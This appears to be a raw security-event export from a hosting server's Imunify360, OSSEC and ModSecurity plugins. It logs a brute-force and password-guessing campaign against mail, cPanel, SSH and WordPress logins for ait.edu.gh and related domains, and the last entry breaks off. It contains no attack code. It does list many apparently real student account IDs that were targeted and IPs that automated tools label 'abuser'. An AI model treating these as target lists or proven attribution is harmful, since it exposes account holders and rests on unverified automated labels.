Jan 29 14:39:02 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 95.173.222.37
domain: afaccra.u3l.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:14-38.95.173.222.37


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 164.90.129.81
description:
[2025-01-29 14:39:20 +0100] info [whostmgrd] 164.90.129.81 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 14:39:41 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.175.55.26
description:
[2025-01-29 14:40:00 +0100] info [webmaild] 45.175.55.26 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.254.20.192
description:
[2025-01-29 14:39:26 +0100] info [webmaild] 170.254.20.192 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 84.54.94.72
description:
[2025-01-29 14:40:10 +0100] info [webmaild] 84.54.94.72 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.104.199.27
description:
Jan 29 14:40:36 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.104.199.27 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.104.199.27
description:
2025-01-29 14:40:38 dovecot_plain authenticator failed for ([120.24.83.156]) [223.104.199.27]:45770: 535 Incorrect authentication data (set_id=ads17b00137y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.200.95.18
description:
2025-01-29 14:40:48 dovecot_plain authenticator failed for ([94.200.95.18]) [94.200.95.18]:39484: 535 Incorrect authentication data (set_id=ads17b00137y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 109.226.203.112
description:
[2025-01-29 14:41:04 +0100] info [webmaild] 109.226.203.112 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 14:41:23 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 46.8.34.36
description:
[2025-01-29 14:41:25 +0100] info [webmaild] 46.8.34.36 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 105.79.20.70
description:
[2025-01-29 14:42:06 +0100] info [webmaild] 105.79.20.70 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.95.234
description:
Jan 29 14:41:24 ait sshd[208753]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.95.234 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.95.234
description:
Jan 29 14:41:24 ait sshd[208753]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.95.234  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 84.54.73.17
description:
[2025-01-29 14:41:24 +0100] info [webmaild] 84.54.73.17 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 14:41:30 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 197.185.156.4
description:
[2025-01-29 14:42:04 +0100] info [webmaild] 197.185.156.4 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77316861
name: IM360 WAF: Block IP which is in the infectors RBL
abuser: 139.59.5.157
domain: afaccra.u3l.us
description:
IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:14-43.139.59.5.157||RSV:6.65||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 14:43:26 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 14:43:35 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 176.29.164.134
description:
[2025-01-29 14:44:29 +0100] info [webmaild] 176.29.164.134 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 14:44:18 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.83.112.2
description:
[2025-01-29 14:46:06 +0100] info [webmaild] 170.83.112.2 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.94.195
description:
Jan 29 14:45:21 ait sshd[211639]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.94.195 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.94.195
description:
Jan 29 14:45:21 ait sshd[211639]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.94.195  user=gvu


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 14:45:41 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.20.180.168
description:
[2025-01-29 14:46:25 +0100] info [webmaild] 103.20.180.168 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 14:46:31 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.51.214.170
description:
2025-01-29 14:47:14 dovecot_plain authenticator failed for (amists) [77.51.214.170]:47878: 535 Incorrect authentication data (set_id=phd@iric.us)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.147.162.35
description:
[2025-01-29 14:47:05 +0100] info [webmaild] 103.147.162.35 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.162.78
description:
Jan 29 14:47:08 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.162.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.162.78
description:
2025-01-29 14:47:10 dovecot_plain authenticator failed for (imilly) [65.20.162.78]:53474: 535 Incorrect authentication data (set_id=phd@iric.us)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.59.106
description:
2025-01-29 14:47:15 dovecot_plain authenticator failed for ([61.72.59.106]) [61.72.59.106]:39278: 535 Incorrect authentication data (set_id=abs18a00023y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.85.42.195
description:
2025-01-29 14:47:27 dovecot_plain authenticator failed for ([1.85.42.195]) [1.85.42.195]:52439: 535 Incorrect authentication data (set_id=abs18a00023y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.85.42.195
description:
Jan 29 14:47:25 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.85.42.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.199.147
description:
2025-01-29 14:49:00 dovecot_plain authenticator failed for (m121-202-199-147.smartone.com) [121.202.199.147]:57489: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.201.54.90
description:
2025-01-29 14:49:01 dovecot_plain authenticator failed for (187-51-252-236.customer.tdatabrasil.net.br) [186.201.54.90]:43806: 535 Incorrect authentication data (set_id=ads21b00192y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.93.87.86
description:
2025-01-29 14:49:08 dovecot_plain authenticator failed for (187-93-87-86.customer.tdatabrasil.net.br) [187.93.87.86]:59502: 535 Incorrect authentication data (set_id=ads09a99921y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.204.170.200
description:
Jan 29 14:48:48 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.204.170.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.85.202
description:
2025-01-29 14:48:49 dovecot_plain authenticator failed for ([196.191.212.235]) [213.55.85.202]:12789: 535 Incorrect authentication data (set_id=ads21b00192y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.195.195.160
description:
2025-01-29 14:48:52 dovecot_plain authenticator failed for ([166.195.195.160]) [166.195.195.160]:56713: 535 Incorrect authentication data (set_id=ads21b00277y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.160.227.134
description:
2025-01-29 14:48:56 dovecot_plain authenticator failed for (134.227.160.222.adsl-pool.jlccptt.net.cn) [222.160.227.134]:35236: 535 Incorrect authentication data (set_id=ads21a00028y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.201.54.90
description:
Jan 29 14:48:59 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.201.54.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.152.120
description:
2025-01-29 14:49:13 dovecot_plain authenticator failed for ([121.202.152.120]) [121.202.152.120]:17839: 535 Incorrect authentication data (set_id=ads21b00277y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.69.31.50
description:
2025-01-29 14:49:12 dovecot_plain authenticator failed for ([109.69.31.50]) [109.69.31.50]:52240: 535 Incorrect authentication data (set_id=ads21b00152y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.63.220.210
description:
2025-01-29 14:49:14 dovecot_plain authenticator failed for ([183.63.220.210]) [183.63.220.210]:57283: 535 Incorrect authentication data (set_id=ads21b00180y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.84.34.85
description:
2025-01-29 14:49:16 dovecot_plain authenticator failed for (ppp075.bol-online.com) [202.84.34.85]:38082: 535 Incorrect authentication data (set_id=ads11a00011y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.204.170.200
description:
2025-01-29 14:48:50 dovecot_plain authenticator failed for (broadband-37.204-170-200.ip.moscow.rt.ru) [37.204.170.200]:56225: 535 Incorrect authentication data (set_id=ads18a00007y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.203.251.186
description:
2025-01-29 14:48:54 dovecot_plain authenticator failed for ([119.203.251.186]) [119.203.251.186]:50396: 535 Incorrect authentication data (set_id=ads21b00225y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.152.91.221
description:
2025-01-29 14:48:54 dovecot_plain authenticator failed for ([124.152.91.221]) [124.152.91.221]:42078: 535 Incorrect authentication data (set_id=ads21a00112y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.41.137
description:
2025-01-29 14:49:08 dovecot_plain authenticator failed for ([196.190.43.139]) [196.190.41.137]:31337: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.230
description:
2025-01-29 14:49:09 dovecot_plain authenticator failed for (nsg-corporate-230.228.187.122.airtel.in) [122.187.228.230]:55634: 535 Incorrect authentication data (set_id=ads21a00012y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.189.126.185
description:
Jan 29 14:49:08 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.189.126.185 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.254.126.238
description:
2025-01-29 14:49:09 dovecot_plain authenticator failed for c83-254-126-238.bredband.tele2.se [83.254.126.238]:55552: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.189.124.62
description:
Jan 29 14:49:11 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.189.124.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.183.225.156
description:
2025-01-29 14:48:55 dovecot_plain authenticator failed for ([201.183.225.156]) [201.183.225.156]:60643: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.178.103.119
description:
2025-01-29 14:49:00 dovecot_plain authenticator failed for syn-076-178-103-119.res.spectrum.com [76.178.103.119]:11889: 535 Incorrect authentication data (set_id=ads11a00011y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.160.139.163
description:
2025-01-29 14:49:01 dovecot_plain authenticator failed for ([90.160.139.163]) [90.160.139.163]:40975: 535 Incorrect authentication data (set_id=ads20a00254y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.120.163.110
description:
Jan 29 14:49:05 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.120.163.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.20.159.141
description:
Jan 29 14:49:06 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.20.159.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
description:
2025-01-29 14:49:15 dovecot_plain authenticator failed for ([169.211.232.182]) [169.211.232.182]:57912: 535 Incorrect authentication data (set_id=ads19a00014y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.68.0.210
description:
2025-01-29 14:49:06 dovecot_plain authenticator failed for ([218.68.0.210]) [218.68.0.210]:41949: 535 Incorrect authentication data (set_id=ads20a00079y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.172.48.197
description:
2025-01-29 14:49:07 dovecot_plain authenticator failed for ([103.172.48.197]) [103.172.48.197]:54754: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.236.145.128
description:
2025-01-29 14:49:12 dovecot_plain authenticator failed for ([104.236.145.128]) [104.236.145.128]:42658: 535 Incorrect authentication data (set_id=ads19b00282y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.180.230.98
description:
2025-01-29 14:48:52 dovecot_plain authenticator failed for ([1.180.230.112]) [1.180.230.98]:42430: 535 Incorrect authentication data (set_id=ads09a99921y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.39.63.46
description:
2025-01-29 14:48:52 dovecot_plain authenticator failed for ([117.39.63.46]) [117.39.63.46]:49228: 535 Incorrect authentication data (set_id=ads19b00282y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.53.120.97
description:
2025-01-29 14:48:53 dovecot_plain authenticator failed for v2202501250131308547.bestsrv.de [152.53.120.97]:45360: 535 Incorrect authentication data (set_id=ads21b00220y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.68.0.210
description:
Jan 29 14:49:04 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.68.0.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.2.44.54
description:
2025-01-29 14:49:05 dovecot_plain authenticator failed for (static.bb.alp.61.2.44.54.bsnl.in) [61.2.44.54]:53834: 535 Incorrect authentication data (set_id=ads19a00027y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.212.232
description:
2025-01-29 14:49:12 dovecot_plain authenticator failed for ([196.191.212.232]) [196.191.212.232]:40550: 535 Incorrect authentication data (set_id=ads21b00220y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.126.10
description:
2025-01-29 14:49:12 dovecot_plain authenticator failed for ([196.189.126.10]) [196.189.126.10]:52906: 535 Incorrect authentication data (set_id=ads19b00251y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.193.41.66
description:
2025-01-29 14:49:05 dovecot_plain authenticator failed for ([141.193.41.66]) [141.193.41.66]:58027: 535 Incorrect authentication data (set_id=ads18a00007y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.161.16.240
description:
2025-01-29 14:49:17 dovecot_plain authenticator failed for ([221.161.16.240]) [221.161.16.240]:36159: 535 Incorrect authentication data (set_id=ads20a00254y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.55.85.202
description:
Jan 29 14:48:47 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.55.85.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.122.31.214
description:
2025-01-29 14:48:50 dovecot_plain authenticator failed for ([91.122.31.214]) [91.122.31.214]:50065: 535 Incorrect authentication data (set_id=ads21a00012y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.111.61.229
description:
2025-01-29 14:48:54 dovecot_plain authenticator failed for ([112.111.61.230]) [112.111.61.229]:53380: 535 Incorrect authentication data (set_id=ads18b00134y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.139.55
description:
2025-01-29 14:49:02 dovecot_plain authenticator failed for ([112.194.139.55]) [112.194.139.55]:57492: 535 Incorrect authentication data (set_id=ads19b00251y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.217.141.77
description:
2025-01-29 14:49:04 dovecot_plain authenticator failed for ([206.217.141.77]) [206.217.141.77]:59844: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.110.226.214
description:
2025-01-29 14:48:51 dovecot_plain authenticator failed for ([75.110.226.214]) [75.110.226.214]:49965: 535 Incorrect authentication data (set_id=ads21b00202y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.250.152.88
description:
2025-01-29 14:49:09 dovecot_plain authenticator failed for ([170.250.152.88]) [170.250.152.88]:60468: 535 Incorrect authentication data (set_id=ads21b00180y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.182.170
description:
2025-01-29 14:49:17 dovecot_plain authenticator failed for ([220.77.182.170]) [220.77.182.170]:36699: 535 Incorrect authentication data (set_id=ads18b00134y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.79
description:
2025-01-29 14:49:07 dovecot_plain authenticator failed for 079.42.246.220.static.netvigator.com [220.246.42.79]:52249: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.167.56.2
description:
2025-01-29 14:49:09 dovecot_plain authenticator failed for ([185.167.56.2]) [185.167.56.2]:50254: 535 Incorrect authentication data (set_id=ads21a00112y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.199.209.60
description:
2025-01-29 14:49:15 dovecot_plain authenticator failed for (ws60-209.199.103.rcil.gov.in) [103.199.209.60]:43976: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.30.191.129
description:
2025-01-29 14:48:50 dovecot_plain authenticator failed for ([5.30.191.129]) [5.30.191.129]:36976: 535 Incorrect authentication data (set_id=ads15a00028y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.155.16
description:
Jan 29 14:48:50 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.155.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.46.189
description:
2025-01-29 14:48:53 dovecot_plain authenticator failed for 189.46.246.220.static.netvigator.com [220.246.46.189]:61669: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.59.167.111
description:
2025-01-29 14:48:56 dovecot_plain authenticator failed for ([213.59.167.111]) [213.59.167.111]:40903: 535 Incorrect authentication data (set_id=ads19a00014y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.195.208.171
description:
2025-01-29 14:49:16 dovecot_plain authenticator failed for ([221.195.208.171]) [221.195.208.171]:25188: 535 Incorrect authentication data (set_id=ads21b00225y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.188.248.193
description:
2025-01-29 14:49:18 dovecot_plain authenticator failed for ([121.188.248.193]) [121.188.248.193]:49744: 535 Incorrect authentication data (set_id=ads15a00028y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.224.164.194
description:
2025-01-29 14:49:00 dovecot_plain authenticator failed for ([122.224.164.194]) [122.224.164.194]:35374: 535 Incorrect authentication data (set_id=ads21b00277y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
description:
2025-01-29 14:49:10 dovecot_plain authenticator failed for ([190.117.96.174]) [190.117.96.174]:54270: 535 Incorrect authentication data (set_id=ads22b00295y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.2.203.254
description:
Jan 29 14:48:51 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.2.203.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.3.159.176
description:
2025-01-29 14:48:52 dovecot_plain authenticator failed for (192-3-159-176-host.colocrossing.com) [192.3.159.176]:33840: 535 Incorrect authentication data (set_id=ads21a00012y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.135.66.173
description:
2025-01-29 14:48:54 dovecot_plain authenticator failed for ([182.135.66.173]) [182.135.66.173]:34254: 535 Incorrect authentication data (set_id=ads21b00180y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.174.233.64
description:
2025-01-29 14:48:57 dovecot_plain authenticator failed for h-158-174-233-64.a192.priv.bahnhof.se [158.174.233.64]:44713: 535 Incorrect authentication data (set_id=ads22b00295y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.18.90.250
description:
2025-01-29 14:48:59 dovecot_plain authenticator failed for ([58.18.90.250]) [58.18.90.250]:34012: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 39.36.19.85
description:
[2025-01-29 14:49:02 +0100] info [webmaild] 39.36.19.85 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.20.159.141
description:
2025-01-29 14:49:08 dovecot_plain authenticator failed for ([115.20.159.141]) [115.20.159.141]:41933: 535 Incorrect authentication data (set_id=ads06a99959y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.43.253.231
description:
2025-01-29 14:48:49 dovecot_plain authenticator failed for wllk-bri-66-ip-66-43-253-231.wireless.netins.net [66.43.253.231]:59615: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.197.68.116
description:
2025-01-29 14:48:51 dovecot_plain authenticator failed for (116.68.197.124.unknown.m1.com.sg) [124.197.68.116]:40674: 535 Incorrect authentication data (set_id=ads20a00254y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.149.173.90
description:
2025-01-29 14:48:54 dovecot_plain authenticator failed for ([117.149.173.90]) [117.149.173.90]:60726: 535 Incorrect authentication data (set_id=ads23a00041y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.107.198
description:
2025-01-29 14:48:55 dovecot_plain authenticator failed for ([187.92.178.105]) [187.8.107.198]:51663: 535 Incorrect authentication data (set_id=ads80a99909y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.21.36.111
description:
2025-01-29 14:48:59 dovecot_plain authenticator failed for ([14.21.36.111]) [14.21.36.111]:47579: 535 Incorrect authentication data (set_id=ads20a00254y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.69.30.93
description:
2025-01-29 14:48:58 dovecot_plain authenticator failed for ([180.69.30.93]) [180.69.30.93]:60232: 535 Incorrect authentication data (set_id=ads30b00480y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.81.213.46
description:
2025-01-29 14:49:01 dovecot_plain authenticator failed for ([203.81.213.46]) [203.81.213.46]:50452: 535 Incorrect authentication data (set_id=ads21b00152y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.205
description:
2025-01-29 14:49:07 dovecot_plain authenticator failed for (nsg-corporate-205.230.187.122.airtel.in) [122.187.230.205]:50212: 535 Incorrect authentication data (set_id=ads09a99033y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.10.53.104
description:
2025-01-29 14:49:10 dovecot_plain authenticator failed for host-79-10-53-104.business.telecomitalia.it [79.10.53.104]:55450: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.71.253.19
description:
[2025-01-29 14:48:21 +0100] info [webmaild] 45.71.253.19 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.32.209.51
description:
2025-01-29 14:48:31 dovecot_plain authenticator failed for ([217.32.209.50]) [217.32.209.51]:38010: 535 Incorrect authentication data (set_id=ofei)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.155.16
description:
2025-01-29 14:48:52 dovecot_plain authenticator failed for ([121.202.155.16]) [121.202.155.16]:59803: 535 Incorrect authentication data (set_id=ads21b00206y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.183.225.156
description:
Jan 29 14:48:53 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.183.225.156 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.120.163.110
description:
2025-01-29 14:49:07 dovecot_plain authenticator failed for ([212.120.163.110]) [212.120.163.110]:47522: 535 Incorrect authentication data (set_id=ads23a00041y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.91.188.226
description:
Jan 29 14:49:04 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 198.91.188.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.91.188.226
description:
